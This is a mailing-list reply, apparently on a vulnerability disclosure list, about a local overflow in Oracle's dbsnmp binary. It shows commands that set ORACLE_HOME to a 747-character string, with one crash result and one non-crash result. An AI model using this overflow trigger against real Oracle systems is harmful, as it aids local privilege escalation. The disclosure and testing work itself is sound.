RE: Local Vulnerability in dbsnmp binary in Oracle 8.1.6-8.1.7-9i

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I was unable to produce totally similar results on Solaris 7:

> uname -r
5.7
> set ORACLE_HOME=`perl -e 'print "A"x747'`
> /opt/oracle/product/8.1.5/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
>

No segfault though.

On Thu, 2 Aug 2001, SChoe wrote:

> For solaris 2.7:
>
> <oracle-8.1.6>
> schoe@host:~ $ export ORACLE_HOME=`perl -e 'print "A"x747'`
> schoe@host:~ $ /usr/app/oracle/product/8.1.6/bin/dbsnmp
> couldn't read file "/config/nmiconf.tcl": no such file or directory
> Failed to initialize nl component,error=462
> Failed to initialize nl component,error=462
> Segmentation Fault
>
> <oracle-8.1.7>
> schoe@host:~ $ export ORACLE_HOME=`perl -e 'print "A"x747'`
> schoe@host:~ $ /usr/app/oracle/product/8.1.7/bin/dbsnmp
> couldn't read file "/config/nmiconf.tcl": no such file or directory
> Failed to initialize nl component,error=462
> Failed to initialize nl component,error=462
> Segmentation Fault
>
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